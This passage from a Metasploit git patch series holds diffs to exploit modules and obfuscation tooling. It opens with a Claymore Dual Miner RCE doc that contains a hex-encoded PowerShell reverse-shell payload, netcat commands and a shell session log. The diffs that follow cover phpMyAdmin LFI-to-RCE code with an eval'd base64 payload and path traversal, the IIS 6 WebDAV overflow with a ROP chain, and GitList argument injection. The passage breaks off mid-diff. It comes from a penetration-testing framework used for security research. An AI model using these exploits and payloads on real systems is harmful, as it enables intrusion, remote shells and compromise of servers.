with read/write mode enabled. + +## Vulnerable Application + +[Claymore Dual Miner](https://github.com/nanopool/Claymore-Dual-Miner) allows an user to control the miner +configuration by uploading files inside its directory using the server API. Since there is no check on file names, an attacker +can exploit this vulnerability by uploading a reboot.bat or reboot.sh file and execute it via Remote Manager GUI. + +## Verification Steps + +1. Start the vulnerable software: `EthDcrMiner64.exe -epool eth-eu1.nanopool.org:9999 -ewal 0x83718eb67761Cf59E116B92A8F5B6CFE28A186E2 -epsw x -mode 1 -ftime 10 -mport 3333` +2. Run on terminal: `{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat", "706f7765727368656c6c2e657865202d436f6d6d616e64202224636c69656e74203d204e65772d4f626a6563742053797374656d2e4e65742e536f636b6574732e544350436c69656e7428273132372e302e302e31272c31323334293b2473747265616d203d2024636c69656e742e47657453747265616d28293b5b627974655b5d5d246279746573203d20302e2e36353533357c257b307d3b7768696c6528282469203d202473747265616d2e52656164282462797465732c20302c202462797465732e4c656e6774682929202d6e652030297b3b2464617461203d20284e65772d4f626a656374202d547970654e616d652053797374656d2e546578742e4153434949456e636f64696e67292e476574537472696e67282462797465732c302c202469293b2473656e646261636b203d202869657820246461746120323e2631207c204f75742d537472696e6720293b2473656e646261636b3220203d202473656e646261636b202b202750532027202b2028707764292e50617468202b20273e20273b2473656e6462797465203d20285b746578742e656e636f64696e675d3a3a4153434949292e4765744279746573282473656e646261636b32293b2473747265616d2e5772697465282473656e64627974652c302c2473656e64627974652e4c656e677468293b2473747265616d2e466c75736828297d3b24636c69656e742e436c6f7365282922"]}` +3. Run on terminal: `nc -lvp 1234` +4. Run on terminal: `echo -e '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}\n' | nc 127.0.0.1 3333 && echo` +5. You should get a shell + +## Options + + **RHOST** + + Remote Host + + **RPORT** + + Remote port the vulnerable software is running at, default is 3333. + + +### Remote target + + ``` + msf5 > use exploit/multi/misc/claymore_dual_miner_remote_manager_rce + msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > set rhost 127.0.0.1 + rhost => 127.0.0.1 + msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > set lhost 127.0.0.1 + lhost => 127.0.0.1 + msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rcee) > set lport 1234 + lport => 1234 + msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > exploit + + [*] Started reverse TCP handler on 127.0.0.1:1234 + [*] Command shell session 1 opened (127.0.0.1:1234 -> 127.0.0.1:3333) at 2018-07-02 18:43:41 +0000 + + whoami + reversebrain + ``` From a60fc3dc00272b95f0224c15b1768357ec4d8198 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Fri, 6 Jul 2018 00:00:28 -0500 Subject: [PATCH 090/217] Fix code based on feedback from Jacob --- lib/metasploit/framework/compiler/windows.rb | 1 - .../obfuscation/crandomizer/code_factory/base.rb | 2 +- .../code_factory/fake_function_collection.rb | 4 +--- .../obfuscation/crandomizer/random_statements.rb | 10 ++++++---- .../framework/obfuscation/crandomizer/utility.rb | 2 +- tools/exploit/random_compile_c.rb | 11 +++++++++++ 6 files changed, 20 insertions(+), 10 deletions(-) diff --git a/lib/metasploit/framework/compiler/windows.rb b/lib/metasploit/framework/compiler/windows.rb index 2d2fc7d35f..843eda3729 100644 --- a/lib/metasploit/framework/compiler/windows.rb +++ b/lib/metasploit/framework/compiler/windows.rb @@ -53,7 +53,6 @@ module Metasploit def self.compile_random_c(c_template, opts={}) type = opts[:type] || :exe cpu = opts[:cpu] || Metasm::Ia32.new - fake_function_size = opts[:fake_function_size] || rand(0..3) weight = opts[:weight] || 80 headers = Compiler::Headers::Windows.new source_code = Compiler::Utils.normalize_code(c_template, headers) diff --git a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base.rb index a35feaa735..13218bc267 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base.rb @@ -16,7 +16,7 @@ module Metasploit end # Override this method when you inherit this class. - # The method should return the source of the stub you're strying to create, + # The method should return the source of the stub you're trying to create, # as a C function. # For example: # %Q| diff --git a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb index 1f18d67b7f..5d24485305 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb @@ -67,9 +67,7 @@ module Metasploit func_name = "function#{i}" fake_function = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunction.new(func_name) function_code = fake_function.generate_body - stub_parser = Metasm::C::Parser.new - stub_parser.allow_bad_c = true - stub_parser.parse(function_code) + stub_parser = Metasploit::Framework::Obfuscation::CRandomizer::utility.parse(function_code) functions.concat(stub_parser.toplevel.statements) end end diff --git a/lib/metasploit/framework/obfuscation/crandomizer/random_statements.rb b/lib/metasploit/framework/obfuscation/crandomizer/random_statements.rb index 370f6c5472..f0a8a75caa 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/random_statements.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/random_statements.rb @@ -9,7 +9,7 @@ module Metasploit attr_reader :parser attr_reader :fake_function_collection - attr_reader :function_list + attr_reader :statements # Initializes the RandomStatements class. # @@ -18,12 +18,12 @@ module Metasploit def initialize(p, fake_functions, s=nil) @parser = p @fake_function_collection = fake_functions - @function_list = [ Proc.new { get_random_statements } ] + @statements = [ Proc.new { get_random_statements } ] # Only generate fake function calls when the function we are modifying isn't # from one of those fake functions (to avoid a recursion). if s && fake_function_collection && !fake_function_collection.has_function_name?(s.var.name) - @function_list << Proc.new { get_random_function_call } + @statements << Proc.new { get_random_function_call } end end @@ -32,7 +32,7 @@ module Metasploit # @return [Array] # @return [Array] def get - function_list.sample.call + statements.sample.call end private @@ -103,6 +103,8 @@ module Metasploit # This function is kind of dangerous, because it could cause an # infinitely loop by accident when random functions call each other. + # + # @return [Array] def get_random_function_call # There is no fake function collection return [] if fake_function_collection.empty? diff --git a/lib/metasploit/framework/obfuscation/crandomizer/utility.rb b/lib/metasploit/framework/obfuscation/crandomizer/utility.rb index 32d590e42d..5476031563 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/utility.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/utility.rb @@ -12,7 +12,7 @@ module Metasploit # # @return [Integer] def self.rand_int - (SecureRandom.random_number * 100).to_i + SecureRandom.random_number(100) end # Returns a random string. diff --git a/tools/exploit/random_compile_c.rb b/tools/exploit/random_compile_c.rb index 10aa23bb2d..b0c112d1d7 100644 --- a/tools/exploit/random_compile_c.rb +++ b/tools/exploit/random_compile_c.rb @@ -1,3 +1,14 @@ +def help + puts "Usage:" + puts "#{__FILE__} [weight] [source code path] [output path]" + puts + puts "Example:" + puts "#{__FILE__} 80 /tmp/helloworld.c /tmp/helloworld.exe" + exit +end + +help if ARGV.empty? || ARGV.include?('-h') + msfbase = __FILE__ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) From fe1b17684a71220bc6823bab437bd7ab5def7bb5 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Fri, 6 Jul 2018 12:17:26 -0500 Subject: [PATCH 091/217] Add Targets and Session file inclusion --- .../exploit/multi/http/phpmyadmin_lfi_rce.md | 2 +- .../exploits/multi/http/phpmyadmin_lfi_rce.rb | 84 ++++++++++++------- 2 files changed, 54 insertions(+), 32 deletions(-) diff --git a/documentation/modules/exploit/multi/http/phpmyadmin_lfi_rce.md b/documentation/modules/exploit/multi/http/phpmyadmin_lfi_rce.md index 09ff1f3f32..0ebc4d0083 100644 --- a/documentation/modules/exploit/multi/http/phpmyadmin_lfi_rce.md +++ b/documentation/modules/exploit/multi/http/phpmyadmin_lfi_rce.md @@ -1,6 +1,6 @@ ## Description -phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion, which can be exploited post-authentication to execute PHP code within application. The module has been tested with phpMyAdmin v4.8.1. +phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion, which can be exploited post-authentication to execute PHP code by application. The module has been tested with phpMyAdmin v4.8.1. ## Vulnerable Application diff --git a/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb b/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb index d31284b43d..278d902fac 100644 --- a/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb +++ b/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Name' => 'phpMyAdmin Authenticated Remote Code Execution', 'Description' => %q{ phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion, - which can be exploited post-authentication to execute PHP code within + which can be exploited post-authentication to execute PHP code by application. The module has been tested with phpMyAdmin v4.8.1. }, 'Author' => @@ -32,12 +32,14 @@ class MetasploitModule < Msf::Exploit::Remote [ 'URL', 'https://www.secpulse.com/archives/72817.html' ], [ 'URL', 'https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/' ] ], - 'Privileged' => true, + 'Privileged' => false, 'Platform' => [ 'php' ], 'Arch' => ARCH_PHP, 'Targets' => [ - [ 'Automatic', {} ] + [ 'Automatic', {} ], + [ 'Windows', {} ], + [ 'Linux', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 19 2018')) @@ -66,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote # v4.8.0 || 4.8.1 phpMyAdmin if res.body =~ /PMA_VERSION:"(\d+\.\d+\.\d+)"/ version = Gem::Version.new($1) - vprint_status("#{peer} - phpMyAdmin version: #{version.to_s}") + vprint_status("#{peer} - phpMyAdmin version: #{version}") if version == Gem::Version.new('4.8.0') || version == Gem::Version.new('4.8.1') return Exploit::CheckCode::Appears @@ -82,18 +84,31 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'POST', 'uri' => normalize_uri(uri, 'import.php'), 'cookie' => cookies, - 'encode_params' => false, - 'vars_post' => { + 'vars_post' => Hash[{ 'sql_query' => qstring, 'db' => '', 'table' => '', 'token' => token + }.to_a.shuffle] + }) + end + + def lfi(uri, data_path, cookies, token) + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'index.php'), + 'cookie' => cookies, + 'encode_params' => false, + 'vars_get' => { + 'target' => "db_sql.php%253f#{'/..'*16}#{data_path}" } }) end def exploit - return unless check == Exploit::CheckCode::Appears + unless check == Exploit::CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target is not vulnerable') + end uri = target_uri.path vprint_status("#{peer} - Grabbing CSRF token...") @@ -102,20 +117,29 @@ class MetasploitModule < Msf::Exploit::Remote if response.nil? fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token") - elsif (response.body !~ /token"\s*value="(.*?)"/) + elsif response.body !~ /token"\s*value="(?.*?)"/ fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?") end token = $1 + if target.name =~ /Automatic/ + /\((?Win.*)?\)/ =~ response.headers['Server'] + mytarget = srv.nil? ? 'Linux' : 'Windows' + else + mytarget = target.name + end + + vprint_status("#{peer} - Identified #{mytarget} target") + #Pull out the last two cookies cookies = response.get_cookies cookies = cookies.split[-2..-1].join(' ') vprint_status("#{peer} - Retrieved token #{token}") vprint_status("#{peer} - Retrieved cookies #{cookies}") - vprint_status("#{peer} - Authenticating...") + login = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php'), @@ -144,12 +168,12 @@ class MetasploitModule < Msf::Exploit::Remote if login_check.nil? fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage") - elsif login_check.body =~ /Welcome to/ + elsif login_check.body.include? 'Welcome to' fail_with(Failure::NoAccess, "#{peer} - Authentication failed") elsif login_check.body !~ /token"\s*value="(.*?)"/ fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?") end - token = Rex::Text.uri_encode($1) + token = $1 vprint_status("#{peer} - Authentication successful") @@ -157,14 +181,14 @@ class MetasploitModule < Msf::Exploit::Remote database = rand_text_alpha_lower(5) table = rand_text_alpha_lower(5) column = rand_text_alpha_lower(5) - col_val = "'%3C%3Fphp+eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"))%3B+%3F%3E'" + col_val = "''" + #Preparing sql queries - dbsql = "CREATE+DATABASE+#{database}%3B" - tablesql = "CREATE+TABLE+#{database}.#{table}(#{column}+varchar(4096)+DEFAULT+#{col_val})%3B" - dropsql = "DROP+DATABASE+#{database}%3B" - dirsql = 'SHOW+VARIABLES+WHERE+Variable_Name+Like+%22%25datadir%22%3B' - + dbsql = "CREATE DATABASE #{database};" + tablesql = "CREATE TABLE #{database}.#{table}(#{column} varchar(4096) DEFAULT #{col_val});" + dropsql = "DROP DATABASE #{database};" + dirsql = 'SHOW VARIABLES WHERE Variable_Name Like "%datadir";' #Create database res = query(uri, dbsql, cookies, token) @@ -188,21 +212,19 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory") end - #Determining location of table file on disk - data_path = $1.gsub(/\\/, '/') - data_path = data_path.sub(/^.*?\//, '/') - data_path << "#{database}/#{table}.frm" + #Creating include path + if mytarget == 'Windows' + #Table file location + data_path = $1.gsub(/\\/, '/') + data_path = data_path.sub(/^.*?\//, '/') + data_path << "#{database}/#{table}.frm" + else + #Session path location + /phpMyAdmin=(?.*?);/ =~ cookies + data_path = "/var/lib/php/sessions/sess_#{session_name}" + end - #LFI using data_path - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, 'index.php'), - 'cookie' => cookies, - 'encode_params' => false, - 'vars_get' => { - 'target' => "db_sql.php%253f#{'/..'*16}#{data_path}" - } - }) + res = lfi(uri, data_path, cookies, token) #Drop database res = query(uri, dropsql, cookies, token) From 0e75317cfecab575308bbf97aeb4d45b84329672 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Fri, 6 Jul 2018 13:30:07 -0500 Subject: [PATCH 092/217] Change a typo --- .../crandomizer/code_factory/fake_function_collection.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb index 5d24485305..75d63e9eb1 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb @@ -67,7 +67,7 @@ module Metasploit func_name = "function#{i}" fake_function = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunction.new(func_name) function_code = fake_function.generate_body - stub_parser = Metasploit::Framework::Obfuscation::CRandomizer::utility.parse(function_code) + stub_parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(function_code) functions.concat(stub_parser.toplevel.statements) end end From 9d9dee737b012ae7a966ab1a5c5a736183c1190d Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Fri, 6 Jul 2018 14:07:10 -0500 Subject: [PATCH 093/217] Fix rspec --- .../framework/obfuscation/crandomizer/random_statements_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb index db705c6bf3..617ebaa0c7 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb @@ -28,7 +28,7 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::RandomStatements end it 'sets the fake function list' do - expect(subject.function_list).not_to be_empty + expect(subject.statements).not_to be_empty end end From 8d135aec39bbf7cddb3a0ad6b76f9b2be208bb66 Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 6 Jul 2018 14:03:12 -0500 Subject: [PATCH 094/217] Implement first pass at deferred payload handling This is most useful for bind payloads, and I initially did just that, but I've migrated the code to be more generic. --- lib/msf/core/exploit.rb | 24 +++++++++++++++--------- lib/msf/core/exploit_driver.rb | 5 +++++ 2 files changed, 20 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 819a623fe9..e6090478f3 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -330,17 +330,14 @@ class Exploit < Msf::Module ], Msf::Exploit) end - # Allow all exploits to leverage context keyed encoding register_advanced_options( [ + # Allow all exploits to leverage context keyed encoding OptBool.new('EnableContextEncoding', [ false, "Use transient context when encoding payloads", false ]), - OptPath.new('ContextInformationFile', [ false, "The information file that contains context information", nil ]) - ], Msf::Exploit) - - # Allow all exploits to disable their payload handlers - register_advanced_options( - [ - OptBool.new('DisablePayloadHandler', [ false, "Disable the handler code for the selected payload", false ]) + OptPath.new('ContextInformationFile', [ false, "The information file that contains context information", nil ]), + # Allow all exploits to disable or defer starting their payload handlers + OptBool.new('DisablePayloadHandler', [ false, "Disable the handler code for the selected payload", false ]), + OptBool.new('DeferPayloadHandler', [ false, "Defer the handler code until the exploit is complete", false ]) ], Msf::Exploit) end @@ -435,6 +432,8 @@ class Exploit < Msf::Module 'active_timeout' => self.active_timeout } + return if handler_deferred? + # Set up the payload handlers payload_instance.setup_handler @@ -1240,7 +1239,14 @@ class Exploit < Msf::Module # Allow the user to disable the payload handler # def handler_enabled? - not datastore['DisablePayloadHandler'] + !datastore['DisablePayloadHandler'] + end + + # + # Allow the user to defer starting the payload handler + # + def handler_deferred? + datastore['DeferPayloadHandler'] end ## diff --git a/lib/msf/core/exploit_driver.rb b/lib/msf/core/exploit_driver.rb index 632e3a9cd3..312ef20921 100644 --- a/lib/msf/core/exploit_driver.rb +++ b/lib/msf/core/exploit_driver.rb @@ -214,6 +214,11 @@ protected exploit.handle_exception e end + if exploit.handler_deferred? + payload.setup_handler + payload.start_handler + end + # Wait the payload to acquire a session if this isn't a passive-style # exploit. return if not delay From 922081d87e794a80c4bacc9d99da20b3cca1d1e7 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Fri, 6 Jul 2018 14:58:43 -0500 Subject: [PATCH 095/217] Make sure module_reference is able to continue loading rb modules --- tools/modules/module_reference.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/tools/modules/module_reference.rb b/tools/modules/module_reference.rb index b8d2360630..72df651254 100755 --- a/tools/modules/module_reference.rb +++ b/tools/modules/module_reference.rb @@ -212,6 +212,11 @@ tbl = Rex::Text::Table.new( bad_refs_count = 0 $framework.modules.each { |name, mod| + if mod.nil? + elog("module_reference.rb is unable to load #{name}") + next + end + next if match and not name =~ match x = mod.new From a634e6347df1a696bd5e67e2b4274a91b3283acb Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 8 Jul 2018 06:09:38 +0000 Subject: [PATCH 096/217] minor code cleanup --- .../iis/iis_webdav_scstoragepathfromurl.rb | 143 +++++++++--------- 1 file changed, 73 insertions(+), 70 deletions(-) diff --git a/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb b/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb index 05f22406f8..311990ec16 100644 --- a/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb +++ b/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb @@ -43,10 +43,10 @@ class MetasploitModule < Msf::Exploit::Remote 'Privileged' => false, 'Payload' => { - 'Space' => 2000, - 'BadChars' => "\x00", - 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, - 'DisableNops' => 'True', + 'Space' => 2000, + 'BadChars' => "\x00", + 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, + 'DisableNops' => 'True', 'EncoderOptions' => { 'BufferRegister' => 'ESI', @@ -54,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => 'process', + 'EXITFUNC' => 'process', 'PrependMigrate' => true, }, 'Targets' => @@ -69,11 +69,11 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Platform' => 'win', 'DisclosureDate' => 'Mar 26 2017', - 'DefaultTarget' => 0)) + 'DefaultTarget' => 0)) register_options( [ - OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']), + OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']), OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]), OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]), ]) @@ -91,12 +91,12 @@ class MetasploitModule < Msf::Exploit::Remote if headers['MS-Author-Via'] == 'DAV' || headers['DASL'] == '' || headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ || - headers['Public'] =~ /PROPFIND/ || - headers['Allow'] =~ /PROPFIND/ + headers['Public'].include?('PROPFIND') || + headers['Allow'].include?('PROPFIND') return true - else - return false end + + false end def check @@ -104,64 +104,67 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => target_uri.path, 'method' => 'OPTIONS' }) - if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers) - return Exploit::CheckCode::Vulnerable - elsif res && supports_webdav?(res.headers) - return Exploit::CheckCode::Detected - elsif res.nil? + + unless res + vprint_error 'Connection failed' return Exploit::CheckCode::Unknown - else - return Exploit::CheckCode::Safe end + + unless supports_webdav? res.headers + vprint_status 'Server does not support WebDAV' + return CheckCode::Safe + end + + if res.headers['Server'].include? 'IIS/6.0' + return CheckCode::Vulnerable + end + + CheckCode::Detected end # corelan.be # rop chain generated with mona.py - def create_rop_chain() - - rop_gadgets = - [ - #MSVCRT.dll - all Windows 2003 - 0x77bcb06c, # POP ESI # RETN - 0x77bef001, # Write pointer # Garbage - 0x77bb2563, # POP EAX # RETN - 0x77ba1114, # <- *&VirtualProtect() - 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN - 0x41414141, # junk - 0x77bbee22, # XCHG EAX,ESI # ADD BYTE PTR DS:[EAX],AL # RETN - 0x77bc9801, # POP EBP # RETN - 0x77be2265, # ptr to 'push esp # ret' - 0x77bb2563, # POP EAX # RETN - 0x03C0946F, - 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) - 0x77bb48d3, # POP EBX, RET - 0x77bf21e0, # .data - 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN - 0x77bbfc02, # POP ECX # RETN - 0x77bef001, # W pointer (lpOldProtect) (-> ecx) - 0x77bd8c04, # POP EDI # RETN - 0x77bd8c05, # ROP NOP (-> edi) - 0x77bb2563, # POP EAX # RETN - 0x03c0944f, - 0x77bdd441, # SUB EAX, 03c0940f - 0x77bb8285, # XCHG EAX,EDX # RETN - 0x77bb2563, # POP EAX # RETN - 0x90909090, # nop - 0x77be6591, # PUSHAD # ADD AL,0EF # RETN - ].pack("V*") - - return rop_gadgets + def create_rop_chain + [ + #MSVCRT.dll - all Windows 2003 + 0x77bcb06c, # POP ESI # RETN + 0x77bef001, # Write pointer # Garbage + 0x77bb2563, # POP EAX # RETN + 0x77ba1114, # <- *&VirtualProtect() + 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN + 0x41414141, # junk + 0x77bbee22, # XCHG EAX,ESI # ADD BYTE PTR DS:[EAX],AL # RETN + 0x77bc9801, # POP EBP # RETN + 0x77be2265, # ptr to 'push esp # ret' + 0x77bb2563, # POP EAX # RETN + 0x03C0946F, + 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) + 0x77bb48d3, # POP EBX, RET + 0x77bf21e0, # .data + 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN + 0x77bbfc02, # POP ECX # RETN + 0x77bef001, # W pointer (lpOldProtect) (-> ecx) + 0x77bd8c04, # POP EDI # RETN + 0x77bd8c05, # ROP NOP (-> edi) + 0x77bb2563, # POP EAX # RETN + 0x03c0944f, + 0x77bdd441, # SUB EAX, 03c0940f + 0x77bb8285, # XCHG EAX,EDX # RETN + 0x77bb2563, # POP EAX # RETN + 0x90909090, # nop + 0x77be6591, # PUSHAD # ADD AL,0EF # RETN + ].pack("V*") end #encode string as UTF-8 char format that when converted to UTF-16LE #will represent chars we want in memory def utf_encode_str(str) - return str.force_encoding('UTF-16LE').encode('UTF-8') + str.force_encoding('UTF-16LE').encode('UTF-8') end #filler chars to be encoded def make_junk(len) - return utf_encode_str(rand_text_alpha(len)) + utf_encode_str rand_text_alpha(len) end def exploit @@ -169,7 +172,7 @@ class MetasploitModule < Msf::Exploit::Remote # these need to be the values from the backend server # if testing a reverse proxy setup, these values differ # from RHOST and RPORT but can be extracted this way - vprint_status("Extracting ServerName and Port") + vprint_status('Extracting ServerName and Port') res = send_request_raw( 'method' => 'PROPFIND', 'headers' => { @@ -177,7 +180,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'uri' => target_uri.path ) - fail_with(Failure::BadConfig, "Server did not respond correctly to WebDAV request") if(res.nil? || res.code != 207) + fail_with(Failure::BadConfig, 'Server did not respond correctly to WebDAV request') if(res.nil? || res.code != 207) xml = res.get_xml_document url = URI.parse(xml.at("//a:response//a:href").text) @@ -188,6 +191,8 @@ class MetasploitModule < Msf::Exploit::Remote http_host = "#{server_scheme}://#{server_name}:#{server_port}" vprint_status("Using http_host #{http_host}") + print_status "Trying path length #{min_path_len} to #{max_path_len} ..." + min_path_len.upto(max_path_len) do |path_len| vprint_status("Trying path length of #{path_len}...") @@ -227,27 +232,25 @@ class MetasploitModule < Msf::Exploit::Remote buf1 << payload.encoded buf1 << ">" - vprint_status("Sending payload") + vprint_status 'Sending payload' res = send_request_raw( 'method' => 'PROPFIND', + 'uri' => target_uri.path, 'headers' => { 'Content-Length' => 0, 'If' => "#{buf1}" - }, - 'uri' => target_uri.path + } ) - if res - vprint_status("Server returned status #{res.code}") - if res.code == 502 || res.code == 400 - next - elsif session_created? - return - else - vprint_status("Unknown Response: #{res.code}") - end - end + next unless res + + vprint_status("Server returned status #{res.code}") + next if res.code == 502 || res.code == 400 + + return if session_created? + + vprint_status("Unknown Response: #{res.code}") rescue ::Errno::ECONNRESET - vprint_status("got a connection reset") + vprint_status('got a connection reset') next end end From bf24ce847a353970130d2b2163e926e890488110 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 9 Jul 2018 09:29:11 -0500 Subject: [PATCH 097/217] Fix token issues --- modules/exploits/multi/http/phpmyadmin_lfi_rce.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb b/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb index 278d902fac..ceff4d855c 100644 --- a/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb +++ b/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb @@ -117,11 +117,10 @@ class MetasploitModule < Msf::Exploit::Remote if response.nil? fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token") - elsif response.body !~ /token"\s*value="(?.*?)"/ + elsif response.body !~ /token"\s*value="(.*?)"/ fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?") end - - token = $1 + token = Rex::Text.html_decode($1) if target.name =~ /Automatic/ /\((?Win.*)?\)/ =~ response.headers['Server'] @@ -173,7 +172,7 @@ class MetasploitModule < Msf::Exploit::Remote elsif login_check.body !~ /token"\s*value="(.*?)"/ fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?") end - token = $1 + token = Rex::Text.html_decode($1) vprint_status("#{peer} - Authentication successful") From f5e40b14a3691b494b280d2d39c1c025a5a0dad7 Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Mon, 9 Jul 2018 13:24:31 -0500 Subject: [PATCH 098/217] removed double eval as suggested --- modules/exploits/multi/http/gitlist_arg_injection.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/gitlist_arg_injection.rb b/modules/exploits/multi/http/gitlist_arg_injection.rb index 477a0b4cd5..7ddf1ff83f 100644 --- a/modules/exploits/multi/http/gitlist_arg_injection.rb +++ b/modules/exploits/multi/http/gitlist_arg_injection.rb @@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'GitList v0.6.0', { } ] ], 'Privileged' => false, - 'Payload' => { 'BadChars' => '\'"' }, + 'Payload' => { 'BadChars' => '\'' }, 'DisclosureDate' => "Apr 26 2018", 'DefaultTarget' => 0)) end @@ -55,9 +55,9 @@ class MetasploitModule < Msf::Exploit::Remote def exploit postUri = normalize_uri(target_uri.path, '/gitlist/tree/c/search') - cmd = '--open-files-in-pager=php -r "eval(\\"' + cmd = '--open-files-in-pager=php -r "' cmd << payload.encoded - cmd << '\\");"' + cmd << ';"' send_request_cgi( 'method' => 'POST', 'uri' => postUri, From 5776b64a1b6211e21b003c9d163a70f065cff89f Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Mon, 9 Jul 2018 13:56:33 -0500 Subject: [PATCH 099/217] modified exploit --- modules/exploits/multi/http/gitlist_arg_injection.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/gitlist_arg_injection.rb 